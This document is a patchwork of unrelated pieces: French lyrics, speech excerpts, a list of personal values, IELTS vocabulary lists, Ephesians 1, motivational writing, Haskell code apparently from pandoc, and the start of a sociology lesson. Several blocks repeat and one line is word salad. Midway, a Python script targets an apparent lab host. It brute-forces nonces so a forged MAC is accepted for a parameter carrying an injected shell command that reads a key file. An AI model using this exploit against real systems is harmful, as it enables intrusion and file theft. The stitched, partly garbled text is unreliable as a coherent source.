Ils quittent un à un le pays pour s'en aller gagner leur vie. Loin de la terre où ils sont nés. Depuis longtemps ils en rêvaient de la ville et
de ses secrets, du formica et du ciné. Les vieux ça n'était pas original quand ils s'essuyaient machinal d'un revers de manche les lèvres. Mais ils savaient tous à propos. Tuer la caille ou le perdreau et manger la tomme de chèvre
Ils quittent un à un le pays pour s'en aller gagner leur vie. Loin de la terre où ils sont nés. Depuis longtemps ils en rêvaient de la ville et
de ses secrets, du formica et du ciné. Les vieux ça n'était pas original quand ils s'essuyaient machinal d'un revers de manche les lèvres. Mais ils savaient tous à propos. Tuer la caille ou le perdreau et manger la tomme de chèvre
Ils quittent un à un le pays
Pour s'en aller gagner leur vie
Loin de la terre où ils sont nés
Depuis longtemps ils en rêvaient
De la ville et de ses secrets
Du formica et du ciné
Les vieux ça n'était pas original
Quand ils s'essuyaient machinal
D'un revers de manche les lèvres
Mais ils savaient tous à propos
Tuer la caille ou le perdreau
Et manger la tomme de chèvre
So let us begin anew; remembering on both sides that civility is not a sign of weakness, and sincerity is always subject to proof. Let us never negotiate out of fear, but let us never fear to negotiate. Let both sides explore what problems unite us instead of belaboring those problems which divide us.
And then I got fired. How can you get fired from a company you started? Well, as Apple grew we hired someone who I thought was very talented to run the company with me, and for the first year or so things went well. But then our visions of the future began to diverge and eventually we had a falling out. When we did, our Board of Directors sided with him. And so at 30, I was out. And very publicly out. What had been the focus of my entire adult life was gone, and it was devastating.
I have a dream that one day this nation will rise up and live out the true meaning of its creed: "We hold these truths to be self-evident, that all men are created equal."
A List of Important Values with Explanations
* Acceptance: Embracing oneself and others without judgment is essential for fostering healthy relationships and personal growth.
* Exploration: A curious and open mind allows for personal development, learning, and discovery.
* Present: Living in the present moment helps reduce stress and anxiety, allowing for a more fulfilling life.
* Accomplishment: Achieving goals and overcoming challenges provides a sense of purpose and satisfaction.
* Expressive: Communicating thoughts and feelings openly and honestly promotes healthy relationships and self-understanding.
* Productivity: Being productive and efficient allows for more time to pursue personal and professional goals.
* Accountability: Taking responsibility for one's actions is essential for building trust and integrity.
* Fairness: Treating others with equality and respect is fundamental to building strong relationships and a just society.
* Professionalism: Maintaining a high standard of conduct and performance in one's work is crucial for success.
* Accuracy: Being precise and careful in one's work is essential for achieving quality results.
* Family: Strong family bonds provide support, love, and a sense of belonging.
* Prosperity: Having a comfortable and secure life allows for personal growth and happiness.
* Achievement: Achieving goals and overcoming challenges provides a sense of accomplishment and satisfaction.
* Famous: Being recognized and admired for one's achievements can provide a sense of pride and fulfillment.
* Purpose: Having a clear sense of purpose and direction in life can provide motivation and meaning.
* Adaptability: Being able to adjust to change and new situations is essential for success and personal growth.
* Fearless: Overcoming fear and taking risks can lead to personal growth and achievement.
* Quality: Striving for excellence in all aspects of life can lead to greater satisfaction and fulfillment.
* Alertness: Being aware and attentive to one's surroundings and the needs of others is important for building strong relationships and making good decisions.
* Feelings: Recognizing and expressing one's emotions is essential for emotional health and well-being.
* Realistic: Being grounded in reality and setting achievable goals is important for success and avoiding disappointment.
* Altruism: Helping others without expecting anything in return is a noble and fulfilling act.
* Ferocious: Having a strong and determined spirit can help one overcome challenges and achieve goals.
* Reason: Using logic and critical thinking to make informed decisions is essential for success.
* Ambition: Having a strong desire to succeed and achieve goals can be a powerful motivator.
* Fidelity: Being loyal and faithful to one's commitments and relationships is essential for building trust and respect.
* Recognition: Appreciating and acknowledging the achievements of others is important for building strong relationships and fostering a positive work environment.
* Amusement: Enjoying life and finding humor in everyday situations can help reduce stress and improve overall well-being.
* Focus: Being able to concentrate and stay on task is essential for achieving goals and success.
* Recreation: Engaging in activities that one enjoys can help reduce stress, improve mood, and maintain a healthy work-life balance.
* Assertiveness: Expressing oneself confidently and respectfully is important for building strong relationships and achieving goals.
* Foresight: Planning ahead and considering future consequences can help one make informed decisions.
* Reflective: Taking time to think about one's thoughts, feelings, and actions can lead to personal growth and self-awareness.
* Attentive: Paying attention to others and their needs is essential for building strong relationships and fostering a positive work environment.
* Fortitude: Showing courage and perseverance in the face of adversity is essential for success.
* Respect: Treating others with dignity and consideration is fundamental to building strong relationships and a positive work environment.
* Awareness: Being conscious of one's thoughts, feelings, and actions is essential for personal growth and well-being.
* Freedom: Having the ability to make choices and pursue one's own goals is essential for personal fulfillment.
* Responsibility: Taking responsibility for one's actions is essential for building trust and integrity.
* Balance: Finding a healthy balance between work, play, and rest is essential for overall well-being.
* Friendship: Having strong and supportive friendships can provide a sense of belonging and happiness.
* Restraint: Being able to control one's impulses and desires is important for making good decisions and avoiding negative consequences.
* Beauty: Appreciating the beauty in the world can bring joy and fulfillment.
* Fun: Enjoying life and finding humor in everyday situations can help reduce stress and improve overall well-being.
* Results-oriented: Focusing on achieving goals and outcomes can be a powerful motivator.
* Boldness: Having the courage to take risks and pursue one's dreams is essential for success.
* Generosity: Giving freely of one's time, resources, and kindness is a noble and fulfilling act.
* Reverence: Having a deep respect and appreciation for things that are sacred or important is essential for a meaningful life.
* Bravery: Showing courage and fearlessness in the face of adversity is essential for success.
* Genius: Having exceptional intelligence and creativity can lead to great achievements.
* Rigor: Being disciplined and committed to one's goals is essential for success.
* Brilliance: Being exceptionally talented and intelligent can lead to great achievements.
* Giving: Sharing with others is a fundamental human value that can bring joy and fulfillment.
* Calm: Maintaining a sense of peace and tranquility can help reduce stress and improve overall well-being.
* Goodness: Being kind, compassionate, and helpful is essential for building strong relationships and a positive impact on the world.
* Candor: Being honest and direct in one's communication is important for building trust and respect.
* Grace: Showing kindness, compassion, and forgiveness is essential for building strong relationships and a positive attitude.
* Security: Feeling safe and protected can provide a sense of peace and well-being.
* Capable: Being able to accomplish tasks and overcome challenges is essential for success.
* Gratitude: Expressing appreciation for the good things in one's life can improve overall happiness and well-being.
* Self-reliance: Being independent and capable of taking care of oneself is essential for personal growth and fulfillment.
* Careful: Being attentive and thoughtful is important for making good decisions and avoiding mistakes.
* Greatness: Striving for excellence and achieving significant accomplishments can be a powerful motivator.
* Selfless: Putting the needs of others before one's own is a noble and fulfilling act.
* Certainty: Having confidence and belief in oneself is essential for success.
* Growth: Continuously learning and developing as a person is essential for personal growth and fulfillment.
* Sensitivity: Being aware and responsive to the needs and feelings of others is essential for building strong relationships.
* Challenge: Overcoming challenges and obstacles can lead to personal growth and development.
* Serenity: Finding peace and tranquility in one's life can improve overall well-being.
* Charity: Giving generously to others is a noble and fulfilling act.
* Hard work: Putting in effort and dedication is essential for achieving goals and success.
* Service: Helping others and making a positive contribution to the world is a fulfilling way to live.
* Cleanliness: Maintaining a clean and organized environment can contribute to a sense of peace and well-being.
* Harmony: Living in peace and agreement with others is essential for building strong relationships and a harmonious society.
* Sharing: Sharing experiences, ideas, and resources with others can foster a sense of community and belonging.
* Clear: Being clear and concise in one's communication is essential for effective communication and understanding.
* Clever: Being intelligent and resourceful can help one overcome challenges and achieve goals.
* Honesty: Being truthful and sincere in one's dealings with others is essential for building trust and respect.
* Silence: Sometimes, the best way to communicate is to listen and be present.
* Comfort: Feeling safe and secure can provide a sense of peace and well-being.
* Honor: Upholding one's commitments and values is essential for integrity and character.
* Simplicity: Living a simple and uncluttered life can reduce stress and improve overall well-being.
* Commitment: Being dedicated and determined to achieve one's goals is essential for success.
* Hope: Believing in a positive future can provide motivation and inspiration.
* Sincerity: Being genuine and authentic in one's interactions with others is essential for building trust and respect.
* Common sense: Using practical judgment and understanding to make decisions is essential for success.
* Humility: Being modest and humble can help one avoid arrogance and build strong relationships.
* Skill: Being proficient and competent in one's abilities is essential for success.
* Skillfulness: Having a high level of expertise and ability is essential for achieving excellence.
* Community: Being part of a supportive and caring community can provide a sense of belonging and happiness.
* Imagination: Being creative and imaginative can help one find new and innovative solutions to problems.
* Smart: Being intelligent and resourceful can help one overcome challenges and achieve goals.
every years Tuesday help state's President because candidate your candidate's
Nothing usually goes right for me; however I know that I am trying my best. I am trying my absolute best to make sure that everything is taken care of. I do feel like I'm working for nothing, but it's going to get better. That's what I keep telling myself. It'll get better, it's going to get better, things have got to get better... right?
health yoga taichi keepfit salad bar vegetarian outdoor activities leisure time
disease meal protein balanced diet food pyramid vitamin carbohydrates rice
pasta potatoes pizza tomatoes bread cereals minerals zinc meat seafood eggs
beans milk cheese yoghurt fruit vegetables citrus fruits green pepper blackcurrant
nuts egg yolk liver medicine، treatment remedy nursing care nursery regular exercise
nature field footbridge environment waterfall river mountain forest village
coast reef lake valley hill cliff island peninsula earthquake avalanche tornado
typhoon desertification volcano disaster catastrophe erosion landslides storm
flood hurricane pond jungle oasis dam canyon
the environment greenhouse effect acid rain global warming carbon dioxide
burning fossil exhaust fumes deforestation nitrogen oxide smog climate pollution
temperature power plants landfill cattle wind turbine soar power hydroelectric
power renewable source of energy reliable solar panels environmentally friendly
oxygen chemical free desert degradation vegetation sea level ocean currents soil
conditioner coal fossil fuels firewood drought contaminated
1 Paul, an apostle of Christ Jesus by the will of God, To the saints who are in Ephesus, and are faithful in Christ Jesus: 2 Grace to you and peace from God our Father and the Lord Jesus Christ.
Spiritual Blessings in Christ.
3 Blessed be the God and Father of our Lord Jesus Christ, who has blessed us in Christ with every spiritual blessing in the heavenly places, 4 even as he chose us in him before the foundation of the world, that we should be holy and blameless before him. In love 5 he predestined us[b] for adoption to himself as sons through Jesus Christ, according to the purpose of his will, 6 to the praise of his glorious grace, with which he has blessed us in the Beloved. 7 In him we have redemption through his blood, the forgiveness of our trespasses, according to the riches of his grace, 8 which he lavished upon us, in all wisdom and insight 9 making known[c] to us the mystery of his will, according to his purpose, which he set forth in Christ 10 as a plan for the fullness of time, to unite all things in him, things in heaven and things on earth.
11 In him we have obtained an inheritance, having been predestined according to the purpose of him who works all things according to the counsel of his will, 12 so that we who were the first to hope in Christ might be to the praise of his glory. 13 In him you also, when you heard the word of truth, the gospel of your salvation, and believed in him, were sealed with the promised Holy Spirit, 14 who is the guarantee[d] of our inheritance until we acquire possession of it,[e] to the praise of his glory.
15 For this reason, because I have heard of your faith in the Lord Jesus and your love[f] toward all the saints, 16 I do not cease to give thanks for you, remembering you in my prayers, 17 that the God of our Lord Jesus Christ, the Father of glory, may give you the Spirit of wisdom and of revelation in the knowledge of him, 18 having the eyes of your hearts enlightened, that you may know what is the hope to which he has called you, what are the riches of his glorious inheritance in the saints, 19 and what is the immeasurable greatness of his power toward us who believe, according to the working of his great might 20 that he worked in Christ when he raised him from the dead and seated him at his right hand in the heavenly places, 21 far above all rule and authority and power and dominion, and above every name that is named, not only in this age but also in the one to come. 22 And he put all things under his feet and gave him as head over all things to the church, 23 which is his body, the fullness of him who fills all in all.
import requests
URL = "http://83.136.255.150:42815/dir.php"
COOKIES = {"PHPSESSID": "8a55e7sscm1lhrqvb2etklhrih"}
DIR = "/home/htb-stdnt/; cat /hmackey.txt" # Change this each succession
MAC = 0
MAX_NONCE = 20000
def prepare_params(nonce):
return {
"dir": DIR,
"nonce": nonce,
"mac": MAC
}
def make_request(nonce):
return requests.get(URL, cookies=COOKIES, params=prepare_params(nonce))
# main
for n in range(MAX_NONCE):
r = make_request(n)
if not "Error! Invalid MAC" in r.text:
print("Found valid MAC:")
print(r.url)
break
Life is funny. Life throws us curve balls better than some of the world's greatest pitchers. Life has ups, downs, and even full circles of events that will always either make us super happy, bring us down, make us angry, make us depressed, and even just bring peace and calm to us. We just have to keep moving no matter what life throws at us.
This world is going to keep spinning, life keeps going, and we are always going to have moments in our life that either we are going to want to move on with the next phase of our lives, or we are going to want to stay right where we are at. So, just remember that when you think that you're better off not being here because you are. We can either buck up and make a better life for ourselves, or we can stay content with where we are at. But failing is not an option because life is too short to stay unhappy for the time of it. Do what you got to do to make it happen.
days of the week monday tuesday wednesday thursday friday saturday
sunday weekdays weekend
months of the year january february march april may june july august
september october november december
money matters cash debit credit card cheque in advance annual fee
monthly membership interest rate deposit tuition fees poverty bank statement
money management current account student account withdraw lowrisk investment
mortgage grace period budget deficit retail voucher coupon، counterfeit money
public money taxpayers money debt interestfree credit purchase partial refund
annuity nonrefundable mastercard visa distribution costs income finance
department family finances duty free store
subjects science politics history biology architecture law geography
archaeology literature business management agriculture statistics mathematics
logic physics psychology anthropology economics philosophy performing arts visual
arts chemistry humanities
studying at college university course outline group discussion handout
written work report writing research proofreading experiment experience
reference textbook dictionary laptop printer student advisor teamwork module
topic assessment library department computer center classroom lecture tutor
main hall attendance deadline give a talk speech computer laboratory certificate
diploma placement tests overseas students fulltime facilities college dining room
specialist knowledge international accommodation home stay primary secondary
intermediate media room resources room staff commencement dissertation
leaflet faculty pupils pencil feedback tasks outcomes advanced introductory
extra background higher education guidelines postsecondary supervisor bachelors
degree compound vocabulary student support services student retention publication
foreign students schedule school reunion registrar’s office stationery
marketing catalogue interview newsletter competition tv program strategies
research method entertainment industry leadership management display products
customer special offer collecting data questionnaire survey mass media statistic
profit margin poll business card training trainee merchandise manufacture
recruitment
health yoga taichi keepfit salad bar vegetarian outdoor activities leisure time
disease meal protein balanced diet food pyramid vitamin carbohydrates rice
pasta potatoes pizza tomatoes bread cereals minerals zinc meat seafood eggs
beans milk cheese yoghurt fruit vegetables citrus fruits green pepper blackcurrant
nuts egg yolk liver medicine، treatment remedy nursing care nursery regular exercise
nature field footbridge environment waterfall river mountain forest village
coast reef lake valley hill cliff island peninsula earthquake avalanche tornado
typhoon desertification volcano disaster catastrophe erosion landslides storm
flood hurricane pond jungle oasis dam canyon
the environment greenhouse effect acid rain global warming carbon dioxide
burning fossil exhaust fumes deforestation nitrogen oxide smog climate pollution
temperature power plants landfill cattle wind turbine soar power hydroelectric
power renewable source of energy reliable solar panels environmentally friendly
oxygen chemical free desert degradation vegetation sea level ocean currents soil
conditioner coal fossil fuels firewood drought contaminated
the animal kingdom birds of prey seabirds poultry and game mammals
cetacean whale primates’ rodents fish amphibian reptile insect’s octopus phylum
class order family genus species livestock creature lion penguin
plants mushroom fungus leaves seed core bark trunk twig branch flower
stem roots cluster fertilizer
continents south america north america africa asia europe
australia and antarctica
countries egypt mexico france indonesia turkey england germany china
greece brazil india north korea india malaysia new zealand nigeria pakistan
singapore switzerland united kingdom italy the dominican republic the philippines
denmark
languages linguistics bilingual trilingual polyglot portuguese mandarin
bengali chinese hindi russian japanese german punjabi thai persian filipino
french italian greek french
architecture and buildings dome palace fort castle glasshouse pyramid
log cabin lighthouse hut skyscraper sculpture
homes semidetached house duplex terraced house town house row house
bungalow thatched cottage mobile home houseboat block of flats apartment
building condominium chimney bedroom basement landlord tenant rent lease
neighborhood suburb sofa coffee table dormitory story kitchen refrigerator
microwave ground floor oven hallway insurance
in the city cities street lane city center central station car park department
store bridge temple embassy road system hospital garden avenue
workplaces clinic dentist reception appointment staff selection colleague
workshop showroom information desk employer employment unemployed technical
cooperation team leaders stress ability vision confidence employee internship
rating and qualities reasonable satisfactory dangerous safe strongly
recommended poor quality satisfied disappointed efficient luxurious colored
spotted striped expensive cheap
touring tourist guided tour ticket office souvenir trip guest reservation view
culture memorable single double bedded room picnic tourist attraction hostel
suite aquarium
verbs train develop collect supervise mark edit revise exhibit donate
surpass register support hunt persuade concentrate discuss suggest arrange
borrow immigrate review learn touch
adjectives energetic social ancient necessary fantastic exciting fabulous
dull comfortable convenient suitable affordable voluntary، mandatory compulsory
temporary permanent immense vast salty extinct vulnerable pessimistic
optimistic realistic practical knowledgeable flexible confident western intensive
tranquil spectacular intact various
hobbies orienteering caving spelunking archery ice skating scuba diving
snorkeling skateboarding bowls darts golf billiards photography painting pottery
woodcarving gardening stamp collection embroidery climbing chess parachute
sports cricket baseball basketball rugby soccer american football hockey
swimming tennis squash badminton Ping-Pong field court pitch stadium team
the discus the javelin the hammer the high jump horse racing shows jumping polo
cycling gymnasium athlete gym extreme sports paragliding hang-gliding skydiving
abseiling snowboarding bungee jumping surfing windsurfing jet skiing
bodyboarding whitewater rafting kitesurfing mountain biking jogging press up
pushup barbell treadmill judo recreation snooker walking championship
canoeing refreshment
shapes square rectangular triangular polygon oval spherical spiral circular
curved cylindrical
measurement width length altitude imperial system metric system mass
depth breadth height three dimensions frequency
transportations cargo plane shipment container ship boat lifeboat
ferry hovercraft hydrofoil liner canal boat narrowboat dinghy sailing sailboat
paddle steamer cabin cruiser rowing boat rowboat kayak canoe punt gondola
aircraft helicopter seaplane airship hot air balloon airport crew passenger
platform hire a car automobile
vehicles double-decker bus single-decker minibus school bus coach truck
tanker van lorry transporter forklift truck tow truck breakdown truck pickup jeep
caravan camper tractor taxi cab tram underground subway stream train freight
train goods train
weather humid hot sticky breeze chilly cold cool dry dusty freezing hot
warm wet weather forecast antenna moisture
places local library swimming pool cafeteria cottage parliament
accommodation restaurant canteen cafe bookshop sports center city council
dance studio park conversation club kindergarten
equipment and tools helmet light musical instrument cassette silicon chip
digital monitor gadget device screen breaks wheels mechanical pencil disk
backpack
the arts and media opera orchestra concert symphony the press
conductor vocalist audience festival carnival exhibition classical music theatre
cinemas art gallery museum ballet television radio graphics newspaper
materials fur metal steel aluminum copper rubber plastic ceramics glass
cement stone textile cotton fabric wool leather bone paper lumber wood glue
composite fiberglass concrete wax paper wood silver gold feather
works and jobs occupation profession designer decorator architect engineer
manager waitress waiter teacher vacancy professor specialist psychologist،
volunteer freelance secretary craftsman work experience curriculum vitae mail
address receptionist pilot guard flight attendant lecturer office assistant clerk
accountant cashier captain
color blue white orange green grey black red yellow purple brown pink
expressions and time three times three times per week a gap year full
time parttime midday midnight millennium century decade fortnight
other passport photo state government individual variety private sector
practice gender creativity original inhabitant indigenous demonstration strike
entrance circuit guarantee dialogue commerce carriage narrative chocolate
satellite decision prototype attitude daily routine personal fulfillment activity
recipient ultrasound pedestrian safety traffic jams procedures creation prize
junior senior opportunity driving license process literary manmade republicans
umbrella frequently updated waiting list sewer systems liberal democracy
democrats lunar calendar libertarian burger videos nature conservation life
expectancy fundraising event magnet dialect ramification straight farewell welfare
encyclopedia evolution revolution illiteracy robot proficiency sufficient
D.C. Virginia Potomac 1847, Virginia's returned 1847 D.C. Potomac.
here's some incredibly boring information about my life
import Text.Pandoc.PDF (makePDF)
import Text.Pandoc.Scripting (ScriptingEngine (..), CustomComponents(..))
import Text.Pandoc.SelfContained (makeSelfContained)
import Text.Pandoc.Shared (tshow)
import Text.Pandoc.Writers.Shared (lookupMetaString)
import Text.Pandoc.Readers.Markdown (yamlToMeta)
import qualified Text.Pandoc.UTF8 as UTF8
#ifndef _WINDOWS
import System.Posix.IO (stdOutput)
import System.Posix.Terminal (queryTerminal)
#endif
convertWithOpts :: ScriptingEngine -> Opt -> IO ()
convertWithOpts scriptingEngine opts = do
let outputFile = fromMaybe "-" (optOutputFile opts)
datadir <- case optDataDir opts of
Nothing -> do
d <- defaultUserDataDir
exists <- doesDirectoryExist d
return $ if exists
then Just d
else Nothing
mdatadir -> return mdatadir
when (optDumpArgs opts) $
do UTF8.hPutStrLn stdout (T.pack outputFile)
mapM_ (UTF8.hPutStrLn stdout . T.pack)
(fromMaybe ["-"] $ optInputFiles opts)
exitSuccess
#ifdef _WINDOWS
let istty = True
#else
istty <- liftIO $ queryTerminal stdOutput
#endif
res <- runIO $ convertWithOpts' scriptingEngine istty datadir opts
case res of
Left e -> E.throwIO e
Right (output, reports) -> do
case optLogFile opts of
Nothing -> return ()
Just logfile -> BL.writeFile logfile (encodeLogMessages reports)
let isWarning msg = messageVerbosity msg == WARNING
when (optFailIfWarnings opts && any isWarning reports) $
E.throwIO PandocFailOnWarningError
let eol = case optEol opts of
CRLF -> IO.CRLF
LF -> IO.LF
Native -> nativeNewline
case output of
TextOutput t -> writerFn eol outputFile t
BinaryOutput bs -> writeFnBinary outputFile bs
ZipOutput bs
| null (takeExtension outputFile) -> do
-- create directory and unzip
createDirectory outputFile -- will fail if directory exists
let zipopts = [OptRecursive, OptDestination outputFile] ++
[OptVerbose | optVerbosity opts == INFO]
case toArchiveOrFail bs of
Right archive -> extractFilesFromArchive zipopts archive
Left e -> E.throwIO $ PandocShouldNeverHappenError $ T.pack e
| otherwise -> writeFnBinary outputFile bs
convertWithOpts' :: (PandocMonad m, MonadIO m, MonadMask m)
=> ScriptingEngine
-> Bool
-> Maybe FilePath
-> Opt
-> m (PandocOutput, [LogMessage])
convertWithOpts' scriptingEngine istty datadir opts = do
configureCommonState datadir opts
let outputFile = fromMaybe "-" (optOutputFile opts)
let filters = optFilters opts
let sources = case optInputFiles opts of
Just xs | not (optIgnoreArgs opts) -> xs
_ -> ["-"]
let defFlavor fmt = Format.FlavoredFormat fmt mempty
-- assign reader and writer based on options and filenames
flvrd@(Format.FlavoredFormat readerNameBase _extsDiff) <-
case optFrom opts of
Just f -> Format.parseFlavoredFormat f
Nothing -> case Format.formatFromFilePaths sources of
Just f' -> return f'
Nothing | sources == ["-"] -> return $ defFlavor "markdown"
| otherwise -> do
report $ CouldNotDeduceFormat
(map (T.pack . takeExtension) sources) "markdown"
return $ defFlavor "markdown"
let makeSandboxed pureReader =
let files = maybe id (:) (optReferenceDoc opts) .
maybe id (:) (optEpubMetadata opts) .
maybe id (:) (optEpubCoverImage opts) .
maybe id (:) (optCSL opts) .
maybe id (:) (optCitationAbbreviations opts) $
optEpubFonts opts ++
optBibliography opts
in case pureReader of
TextReader r -> TextReader $ \o t -> sandbox files (r o t)
ByteStringReader r
-> ByteStringReader $ \o t -> sandbox files (r o t)
(reader, readerExts) <-
if ".lua" `T.isSuffixOf` readerNameBase
then do
let scriptPath = T.unpack readerNameBase
components <- engineLoadCustom scriptingEngine scriptPath
r <- case customReader components of
Nothing -> throwError $ PandocAppError $
readerNameBase <> " does not contain a custom reader"
Just r -> return r
let extsConf = fromMaybe mempty (customExtensions components)
rexts <- Format.applyExtensionsDiff extsConf flvrd
return (r, rexts)
else if optSandbox opts
then case runPure (getReader flvrd) of
Left e -> throwError e
Right (r, rexts) -> return (makeSandboxed r, rexts)
else getReader flvrd
outputSettings <- optToOutputSettings scriptingEngine opts
let format = outputFormat outputSettings
let writer = outputWriter outputSettings
let writerOptions = outputWriterOptions outputSettings
-- whether we are targeting PDF.
let pdfOutput = isJust $ outputPdfProgram outputSettings
-- whether standalone output should be produced.
let bibOutput = format `elem` ["bibtex", "biblatex", "csljson"]
let standalone = isJust (writerTemplate writerOptions) || bibOutput
--
-- Sanity checks
--
when (pdfOutput && readerNameBase == "latex") $
case optInputFiles opts of
Just (inputFile:_) -> report $ UnusualConversion $ T.pack $
"to convert a .tex file to PDF, you get better results by using pdflatex "
<> "(or lualatex or xelatex) directly, try `pdflatex " <> inputFile
<> "` instead of `pandoc " <> inputFile <> " -o " <> outputFile <> "`."
_ -> return ()
-- We don't want to send output to the terminal if the user
-- does 'pandoc -t docx input.txt'; though we allow them to
-- force this with '-o -'. On posix systems, we detect
-- when stdout is being piped and allow output to stdout
-- in that case, but on Windows we can't.
when ((pdfOutput || not (isTextFormat format)) &&
istty && isNothing ( optOutputFile opts)) $
throwError $ PandocAppError $
"Cannot write " <> (if pdfOutput then "pdf" else format) <>
" output to terminal.\n" <>
"Specify an output file using the -o option, or " <>
"use '-o -' to force output to stdout."
when (readerNameBase == "markdown_github" ||
format == "markdown_github") $
report $ Deprecated "markdown_github" "Use gfm instead."
abbrevs <- readAbbreviations (optAbbreviations opts)
let readerOpts = def{
readerStandalone = standalone
, readerColumns = optColumns opts
, readerTabStop = optTabStop opts
, readerIndentedCodeClasses = optIndentedCodeClasses opts
, readerDefaultImageExtension = optDefaultImageExtension opts
, readerTrackChanges = optTrackChanges opts
, readerAbbreviations = abbrevs
, readerExtensions = readerExts
, readerStripComments = optStripComments opts
}
metadataFromFile <- getMetadataFromFiles readerNameBase readerOpts
(optMetadataFiles opts)
let transforms = (case optShiftHeadingLevelBy opts of
0 -> id
x -> (headerShift x :)) .
(if extensionEnabled Ext_east_asian_line_breaks
readerExts &&
not (extensionEnabled Ext_east_asian_line_breaks
(writerExtensions writerOptions) &&
writerWrapText writerOptions == WrapPreserve)
then (eastAsianLineBreakFilter :)
else id) .
(case optIpynbOutput opts of
_ | readerNameBase /= "ipynb" -> id
IpynbOutputAll -> id
IpynbOutputNone -> (filterIpynbOutput Nothing :)
IpynbOutputBest -> (filterIpynbOutput (Just $
if htmlFormat format
then Format "html"
else
case format of
"latex" -> Format "latex"
"beamer" -> Format "latex"
_ -> Format format) :))
$ []
let isPandocCiteproc (JSONFilter f) = takeBaseName f == "pandoc-citeproc"
isPandocCiteproc _ = False
when (any isPandocCiteproc filters) $
report $ Deprecated "pandoc-citeproc filter"
"Use --citeproc instead."
let cslMetadata =
maybe id (setMeta "csl") (optCSL opts) .
(case optBibliography opts of
[] -> id
xs -> setMeta "bibliography" xs) .
maybe id (setMeta "citation-abbreviations")
(optCitationAbbreviations opts) $ mempty
let filterEnv = Environment readerOpts writerOptions
let inputParams = InputParameters
{ inputReader = reader
, inputReaderName = readerNameBase
, inputReaderOptions = readerOpts
, inputSources = sources
, inputFileScope = optFileScope opts
, inputSpacesPerTab = if optPreserveTabs opts
then Nothing
else Just (optTabStop opts)
}
doc <- readInput inputParams
>>= ( return . adjustMetadata (metadataFromFile <>)
>=> return . adjustMetadata (<> optMetadata opts)
>=> return . adjustMetadata (<> cslMetadata)
>=> applyFilters scriptingEngine filterEnv filters [T.unpack format]
>=> applyTransforms transforms
>=> (if not (optSandbox opts) &&
(isJust (optExtractMedia opts)
|| format == "docx") -- for fallback pngs
then fillMediaBag
else return)
>=> maybe return extractMedia (optExtractMedia opts)
)
when (format == "docx" && not (optSandbox opts)) $ do
createPngFallbacks (writerDpi writerOptions)
output <- case writer of
ByteStringWriter f
| format == "chunkedhtml" -> ZipOutput <$> f writerOptions doc
| otherwise -> BinaryOutput <$> f writerOptions doc
TextWriter f -> case outputPdfProgram outputSettings of
Just pdfProg -> do
res <- makePDF pdfProg (optPdfEngineOpts opts) f
writerOptions doc
case res of
Right pdf -> return $ BinaryOutput pdf
Left err' -> throwError $ PandocPDFError $
TL.toStrict (TE.decodeUtf8With TE.lenientDecode err')
Nothing -> do
let ensureNl t
| standalone = t
| T.null t || T.last t /= '\n' = t <> T.singleton '\n'
| otherwise = t
textOutput <- ensureNl <$> f writerOptions doc
if (optSelfContained opts || optEmbedResources opts) && htmlFormat format
then TextOutput <$> makeSelfContained textOutput
else return $ TextOutput textOutput
reports <- getLog
return (output, reports)
data PandocOutput =
TextOutput Text
| BinaryOutput BL.ByteString
| ZipOutput BL.ByteString
deriving (Show)
-- | Configure the common state
configureCommonState :: PandocMonad m => Maybe FilePath -> Opt -> m ()
configureCommonState datadir opts = do
setUserDataDir datadir
setTrace (optTrace opts)
setVerbosity (optVerbosity opts)
setResourcePath (optResourcePath opts)
setInputFiles (fromMaybe ["-"] (optInputFiles opts))
setOutputFile (optOutputFile opts)
setNoCheckCertificate (optNoCheckCertificate opts)
mapM_ (uncurry setRequestHeader) (optRequestHeaders opts)
case lookupMetaString "lang" (optMetadata opts) of
"" -> setTranslations $ Lang "en" Nothing (Just "US") [] [] []
l -> case parseLang l of
Left _ -> report $ InvalidLang l
Right l' -> setTranslations l'
-- | Retrieves the set of abbreviations to be used by pandoc. These currently
-- only affect the Markdown reader.
readAbbreviations :: PandocMonad m => Maybe FilePath -> m (Set.Set Text)
readAbbreviations mbfilepath =
(case mbfilepath of
Nothing -> readDataFile "abbreviations"
Just f -> readFileStrict f)
>>= fmap (Set.fromList . filter (not . T.null) . T.lines) .
toTextM (fromMaybe mempty mbfilepath)
createPngFallbacks :: (PandocMonad m, MonadIO m) => Int -> m ()
createPngFallbacks dpi = do
-- create fallback pngs for svgs
items <- mediaItems <$> getMediaBag
forM_ items $ \(fp, mt, bs) ->
case T.takeWhile (/=';') mt of
"image/svg+xml" -> do
res <- svgToPng dpi bs
case res of
Right bs' -> do
let fp' = fp <> ".png"
insertMedia fp' (Just "image/png") bs'
Left e -> report $ CouldNotConvertImage (T.pack fp) (tshow e)
_ -> return ()
getMetadataFromFiles :: PandocMonad m
=> Text -> ReaderOptions -> [FilePath] -> m Meta
getMetadataFromFiles readerFormat readerOpts = \case
[] -> return mempty
paths -> mconcat <$> do
-- If format is markdown or commonmark, use the enabled extensions,
-- otherwise treat metadata as pandoc markdown (see #7926, #6832)
let readerOptsMeta =
if readerFormat `elem` ["markdown", "commonmark"]
then readerOpts
else readerOpts{ readerExtensions = pandocExtensions }
forM paths $ \path -> do
raw <- readMetadataFile path
yamlToMeta readerOptsMeta (Just path) raw
htmlFormat :: Text -> Bool
htmlFormat = (`elem` ["html","html4","html5","s5","slidy",
"slideous","dzslides","revealjs"])
isTextFormat :: Text -> Bool
isTextFormat s = s `notElem` ["odt","docx","epub2","epub3","epub","pptx"]
adjustMetadata :: (Meta -> Meta) -> Pandoc -> Pandoc
adjustMetadata f (Pandoc meta bs) = Pandoc (f meta) bs
writeFnBinary :: FilePath -> BL.ByteString -> IO ()
writeFnBinary "-" = BL.putStr
writeFnBinary f = BL.writeFile (UTF8.encodePath f)
writerFn :: IO.Newline -> FilePath -> Text -> IO ()
writerFn eol "-" = UTF8.putStrWith eol
writerFn eol f = UTF8.writeFileWith eol f
Sociological Perspective of the Self
Sociology
study of the role of society in shaping behavior.
The sociological perspective of the self looks into self as a social construction, which means that who you are as a person all through your lifetime is developed under the influence of people, meaning, the self is shaped through interaction with other people in a society. Through socialization, we develop our personalities and potentialities with the influence of our culture and society.
Socialization takes place through the interaction with various agents of socialization, like peer groups and families, plus both formal and informal social institutions, like schools and clubs.
While we were born with a genetic makeup and biological traits, who we are as human beings, however, develops through social interaction. Sociology is the study of the role of society in shaping behavior. It focuses on how different aspects of society contribute to an individual’s relationship with his world. It tends to look outward (social institutions, cultural norms, interactions with others) to understand human behavior. This part of the module will be focused on the self as perceived by sociologists. We will look into the role of society in how we were shaped as to who we are today.
The Self as a Social Construction
